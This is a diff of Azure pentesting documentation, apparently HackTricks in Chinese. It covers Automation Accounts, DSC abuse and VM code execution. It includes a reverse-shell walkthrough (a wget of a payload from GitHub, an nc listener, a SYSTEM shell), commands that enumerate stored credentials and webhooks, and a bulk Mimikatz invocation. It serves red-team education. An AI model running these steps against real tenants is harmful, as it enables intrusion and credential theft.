Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
#### Step 4 — 准备 Kali Box
- Kali 服务器从 GitHub 仓库下载 RevPS.ps1 负载。
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
- 脚本被编辑以指定目标 Windows 虚拟机和反向 shell 的端口。
#### Step 5 — Publish Configuration File
- 配置文件被执行,导致反向 shell 脚本被部署到 Windows 虚拟机的指定位置。
#### Step 6 — Host Payload and Setup Listener
- 启动一个 Python SimpleHTTPServer 来托管有效载荷,并设置一个 Netcat 监听器以捕获传入连接。
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
- 计划任务执行有效载荷获得SYSTEM级别的权限。
#### 结论
该过程的成功执行为进一步的操作打开了众多可能性例如凭证转储或将攻击扩展到多个虚拟机。该指南鼓励在Azure Automation DSC领域继续学习和创造力。
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,227 @@
# Az - Automation Accounts
{{#include ../../../../banners/hacktricks-training.md}}
## 基本信息
Azure Automation Accounts 是 Microsoft Azure 中的云服务,帮助 **自动化任务**,如资源管理、配置和更新,跨 Azure 和本地环境。它们提供 **Runbooks**(执行的自动化脚本)、**计划**和 **混合工作组** 来运行自动化 **作业**实现基础设施即代码IaC和流程自动化以提高管理云资源的效率和一致性。
### 设置
- **凭据**:密码仅在自动化帐户内的 runbook 中可访问,用于 **安全存储用户名和密码**
- **变量**:用于存储可以在 runbooks 中使用的 **配置数据**。这也可以是敏感信息,如 API 密钥。如果变量是 **加密存储**,则仅在自动化帐户内的 runbook 中可用。
- **证书**:用于存储可以在 runbooks 中使用的 **证书**
- **连接**:用于存储与外部服务的 **连接信息**。这可能包含 **敏感信息**
- **网络访问**:可以设置为 **公共****私有**
## Runbooks & Jobs
Azure Automation 中的 Runbook 是一个 **自动执行任务的脚本**在您的云环境中运行。Runbooks 可以用 PowerShell、Python 或图形编辑器编写。它们帮助自动化管理任务,如 VM 管理、补丁或合规检查。
**Runbooks** 中的 **代码** 可能包含 **敏感信息**(如凭据)。
转到 `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
**作业是 Runbook 执行的一个实例**。当您运行一个 Runbook 时,会创建一个作业来跟踪该执行。每个作业包括:
- **状态**:排队、运行、完成、失败、挂起。
- **输出**Runbook 执行的结果。
- **开始和结束时间**:作业开始和完成的时间。
作业包含 **Runbook** 执行的 **输出**。如果您可以 **读取** **作业**,请这样做,因为它们 **包含** 运行的 **输出**(潜在的 **敏感信息**)。
### 计划与 Webhooks
执行 Runbook 有 3 种主要方式:
- **计划**:用于在 **特定时间****间隔** 触发 Runbooks。
- **Webhooks**:这些是可以用于从 **外部服务** 触发 Runbooks 的 **HTTP 端点**。请注意,创建后 webhook URL **不可见**
- **手动触发**:您可以从 Azure 门户和 CLI **手动触发** Runbook。
### 源控制
它允许从 **Github、Azure Devops (Git) 和 Azure Devops (TFVC)** 导入 Runbooks。可以指示将 repo 的 Runbooks 发布到 Azure Automation 帐户,也可以指示 **将更改从 repo 同步** 到 Azure Automation 帐户。
当同步启用时,在 **Github 仓库中创建一个 webhook**以在每次发生推送事件时触发同步。Webhook URL 示例:`https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
请注意,这些 webhooks 在列出与 Github repo 关联的 runbooks 时 **不可见**。还要注意,一旦创建,**无法更改源控制的 repo URL**。
为了使配置的源控制正常工作,**Azure Automation Account** 需要具有 **`Contributor`** 角色的托管身份(系统或用户)。此外,要将用户托管身份分配给 Automation Account只需将变量 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** 设置为 **用户托管身份客户端 ID**
### 运行时环境
创建 Runbook 时,可以选择运行时环境。默认情况下,以下运行时环境可用:
- **Powershell 5.1**
- **Powershell 7.1**
- **PowerShell 7.2**
- **Python 3.10**
- **Python 3.8**
- **Python 2.7**
但是,也可以 **创建自己的环境**,以其中一个作为基础。在 Python 的情况下,可以将 `.whl` 包上传到将要使用的环境。在 PowerShell 的情况下,可以上传包含要在运行时使用的模块的 `.zip` 包。
### 混合工作者
Runbook 可以在 **Azure 内的容器****混合工作者**(非 Azure 机器)中运行。\
在 VM 上部署 **Log Analytics Agent** 以将其注册为混合工作者。\
混合工作者作业在 Windows 上以 **SYSTEM** 身份运行,在 Linux 上以 **nxautomation** 帐户运行。\
每个混合工作者都注册在 **混合工作者组** 中。
因此,如果您可以选择在 **Windows 混合工作者** 中运行 **Runbook**,您将以 **System** 身份在外部机器上执行 **任意命令**(不错的 pivot 技术)。
### 状态配置 (SC)
>[!WARNING]
> 如 [文档](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) 中所示Azure Automation 状态配置将于 2027 年 9 月 30 日退役,并由 [Azure 机器配置](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) 替代。
Automation Accounts 还支持 **状态配置 (SC)**,这是一个帮助 **配置****维护** 您的 VM **状态** 的功能。可以 **创建****应用** DSC 配置到 **Windows****Linux** 机器。
从攻击者的角度来看,这很有趣,因为它允许 **在所有配置的 VM 中执行任意 PS 代码**,从而提升这些 VM 的托管身份的权限,可能会转移到新的网络...此外,配置可能包含 **敏感信息**
## 枚举
```bash
# List Automation Accounts
az automation account list --output table
# Get Automation Account details
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
# Check the managed identities in `identity`
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get keys of automation account
## These are used for the DSC
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get schedules of automation account
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get connections of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
# Get connection details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
# Get credentials of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
# Get credential details
## Note that you will only be able to access the password from inside a Runbook
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
# Get certificates of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
# Get certificate details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
# Get variables of automation account
## It's possible to get the value of unencrypted variables but not the encrypted ones
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
# Get variable details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
# Get runbooks of an automation account
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get runbook details
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
# Get runbook content
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
# Get jobs of an automation account
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get job details
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
# Get job output
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
# Get the Runbook content when the job was executed
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
# Get webhooks inside an automation account
## It's possible to see to which runbook it belongs in the given data
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
## Generating a webhook can be useful from a persistence perspective
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
# Get the source control setting of an automation account (if any)
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get custom runtime environments
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
az automation runtime-environment list \
--resource-group <res-group>> \
--automation-account-name <account-name> \
--query "[?!(starts_with(description, 'System-generated'))]"
# Get State Configurations (SC) of an automation account
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get State Configuration details
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
```
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
## 权限提升与后期利用
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## 参考文献
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Azure 网络基本信息
Azure 网络包含 **不同的实体和配置方式。** 您可以在以下位置找到不同 Azure 网络实体的简要 **描述、** **示例****枚举** 命令:
Azure 网络包含 **不同的实体和配置方式。** 您可以在以下内容中找到不同 Azure 网络实体的简要 **描述、** **示例****枚举** 命令:
{{#ref}}
az-azure-network.md
@@ -16,12 +16,12 @@ Azure 虚拟机 (VMs) 是灵活的、按需的 **基于云的服务器,允许
### 安全配置
- **可用性区域**:可用性区域是特定 Azure 区域内的不同数据中心组,物理上分开,以最小化多个区域受到本地故障或灾难影响的风险。
- **可用性区域**:可用性区域是特定 Azure 区域内的独立数据中心组,物理上分开,以最小化多个区域受到本地故障或灾难影响的风险。
- **安全类型**
- **标准安全**:这是默认的安全类型,不需要任何特定配置。
- **受信任启动**:此安全类型通过使用安全启动和虚拟受信任平台模块 (vTPM) 增强对启动工具和内核级恶意软件的保护。
- **机密虚拟机**:在受信任启动的基础上,它提供 VM、虚拟机监控程序和主机管理之间的基于硬件的隔离改善磁盘加密和 [**更多**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
- **身份验证**:默认情况下会生成一个新的 **SSH 密钥**,虽然可以使用公钥或使用先前的密钥,默认用户名为 **azureuser**。也可以配置使用 **密码。**
- **身份验证**:默认情况下会生成一个新的 **SSH 密钥**,虽然可以使用公钥或使用先前的密钥,默认用户名为 **azureuser**。也可以配置使用 **密码。**
- **VM 磁盘加密:** 磁盘默认情况下使用平台管理密钥进行静态加密。
- 还可以启用 **主机加密**,数据将在发送到存储服务之前在主机上加密,确保主机与存储服务之间的端到端加密 ([**文档**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data))。
- **NIC 网络安全组**
@@ -39,7 +39,7 @@ Azure 虚拟机 (VMs) 是灵活的、按需的 **基于云的服务器,允许
- 网络总出站大于 200GB
- VmAvailabilityMetric 小于 1
- **健康监控**:默认检查协议 HTTP 在 80 端口
- **锁定**:允许锁定 VM使其只能被读取**只读**锁定)或可以被读取和更新但不能删除(**不能删除**锁定)。
- **锁定**:允许锁定 VM使其只能被读取**只读**锁定)或可以被读取和更新但不能删除(**不能删除**锁定)。
- 大多数与 VM 相关的资源 **也支持锁定**,如磁盘、快照...
- 锁定也可以应用于 **资源组和订阅级别**
@@ -77,7 +77,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## 图像、图库图像和还原点
一个 **VM 镜像** 是一个模板,包含创建 **新虚拟机 (VM)** 所需的操作系统、应用程序设置和文件系统。镜像和磁盘快照之间的区别在于,磁盘快照是单个托管磁盘的只读、时间点副本,主要用于备份或故障排除,而镜像可以包含 **多个磁盘,并旨在作为创建新 VM 的模板**。\
图像可以在 Azure 的 **图像部分****Azure 计算库** 中管理,后者允许生成 **版本** **跨租户共享** 图像,甚至可以公开。
图像可以在 Azure 的 **图像部分****Azure 计算库** 中管理,后者允许生成 **版本** **共享** 图像,跨租户共享甚至公开。
一个 **还原点** 存储 VM 配置和 **时间点** 应用程序一致的 **所有托管磁盘的快照**。它与 VM 相关,其目的是能够将该 VM 恢复到特定时间点的状态。
@@ -144,11 +144,11 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
来自[**文档**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview):站点恢复通过在停机期间保持业务应用程序和工作负载的运行来确保业务连续性。站点恢复**复制工作负载**从主站点到次要位置。当主站点发生停机时,您可以切换到次要位置,并从那里访问应用程序。主位置恢复运行后,您可以切换回去。
来自[**文档**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview):站点恢复通过在停机期间保持业务应用程序和工作负载的运行来帮助确保业务连续性。站点恢复**复制工作负载**从主站点到次要位置的物理和虚拟机VM。当主站点发生停机时,您可以切换到次要位置,并从那里访问应用程序。主位置恢复后,您可以切换回去。
## Azure Bastion
Azure Bastion 通过 Azure 门户或跳转箱直接为您的虚拟机 (VM) 提供安全无缝的**远程桌面协议 (RDP)**和**安全外壳 (SSH)**访问。通过**消除对公共 IP 地址的需求**,使您的 VM 更加安全。
Azure Bastion 通过 Azure 门户或跳转箱直接为您的虚拟机VM提供安全无缝的**远程桌面协议RDP**和**安全外壳SSH**访问。通过**消除对公共 IP 地址的需求**,使您的 VM 更加安全。
Bastion 在其需要工作的 VNet 中部署一个名为**`AzureBastionSubnet`**的子网,子网掩码为`/26`。然后,它允许通过浏览器**连接到内部 VM**,使用`RDP``SSH`,避免将 VM 的端口暴露到互联网。它还可以作为**跳转主机**工作。
@@ -189,7 +189,7 @@ Get-AzBastion
## 元数据
Azure 实例元数据服务 (IMDS) **提供有关正在运行的虚拟机实例的信息**,以协助其管理和配置。它提供 SKU、存储、网络配置以及即将进行的维护事件的信息所有这些信息通过 **可在非路由 IP 地址 169.254.169.254 访问的 REST API** 提供,该地址仅可从 VM 内部访问。VM 和 IMDS 之间的通信保持在主机内部,确保安全访问。在查询 IMDS 时VM 内部的 HTTP 客户端应绕过 Web 代理以确保正确通信。
Azure 实例元数据服务 (IMDS) **提供有关正在运行的虚拟机实例的信息**,以协助其管理和配置。它提供 SKU、存储、网络配置以及即将进行的维护事件的信息所有这些信息通过 **可在非路由 IP 地址 169.254.169.254 访问的 REST API** 提供,该地址仅可从 VM 内部访问。VM 和 IMDS 之间的通信保持在主机内部,确保安全访问。在查询 IMDS 时VM 内部的 HTTP 客户端应绕过 Web 代理以确保正确通信。
此外要联系元数据端点HTTP 请求必须具有 **`Metadata: true`** 头,并且不得具有 **`X-Forwarded-For`** 头。
@@ -427,11 +427,11 @@ Get-AzStorageAccount
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
```
## 在虚拟机中执行代码
## 代码执行在虚拟机中
### 虚拟机扩展
Azure 虚拟机扩展是提供 **部署后配置** 和自动化任务的小型应用程序,运行在 Azure 虚拟机 (VM) 上。
Azure 虚拟机扩展是小型应用程序,提供 **部署后配置** 和自动化任务在 Azure 虚拟机 (VMs) 上。
这将允许 **在虚拟机内部执行任意代码**
@@ -549,7 +549,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<details>
<summary>DesiredConfigurationState (DSC)</summary>
<summary>DesiredStateConfiguration (DSC)</summary>
这是一个属于微软的**VM扩展**使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此可以通过此扩展在Windows虚拟机中**执行任意命令**
```powershell
@@ -603,13 +603,13 @@ Set-AzVMDscExtension `
<summary>混合运行簿工作者</summary>
这是一个虚拟机扩展,允许从自动化帐户在虚拟机中执行运行簿。有关更多信息,请查看 [Automation Accounts service](../az-automation-account/)。
这是一个虚拟机扩展,允许从自动化帐户在虚拟机中执行运行簿。有关更多信息,请查看 [Automation Accounts service](../az-automation-account/index.html)。
</details>
### 虚拟机应用程序
这些是包含所有 **应用程序数据和安装及卸载脚本** 的包,可用于轻松地在虚拟机中添加和删除应用程序。
这些是包含所有 **应用程序数据和安装及卸载脚本** 的包,可用于轻松添加和删除虚拟机中的应用程序。
```bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
@@ -622,7 +622,7 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
查看如何在 [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) 中安装新应用程序
查看如何安装新应用程序在 [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> 可以**与其他订阅或租户共享单个应用程序和画廊**。这非常有趣,因为这可能允许攻击者在应用程序中植入后门并转向其他订阅和租户。
@@ -721,7 +721,7 @@ az vm application set \
### 用户数据
这是**持久数据**可以随时从元数据端点检索。请注意在Azure中用户数据与AWS和GCP不同因为**如果您将脚本放在这里,它不会默认执行**。
这是**持久数据**可以随时从元数据端点检索。请注意在Azure中用户数据与AWS和GCP不同因为**如果您在这里放置脚本,它不会默认执行**。
### 自定义数据
@@ -731,7 +731,7 @@ az vm application set \
- 在**Linux**中,它存储在`/var/lib/waagent/ovf-env.xml`中,现在存储在`/var/lib/waagent/CustomData/ovf-env.xml`中。
- **Linux代理**:默认情况下不处理自定义数据,需要启用数据的自定义映像。
- **cloud-init**:默认情况下处理自定义数据,这些数据可以是[**多种格式**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)。它可以轻松执行脚本,只需将脚本发送到自定义数据中。
- 我尝试过Ubuntu和Debian执行您放在这里的脚本。
- 我尝试过Ubuntu和Debian都会执行您放在这里的脚本。
- 也不需要启用用户数据才能执行此操作。
```bash
#!/bin/sh
@@ -796,7 +796,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
{{#endref}}
## 后期利用
## 利用
{{#ref}}
../../az-post-exploitation/az-vms-and-network-post-exploitation.md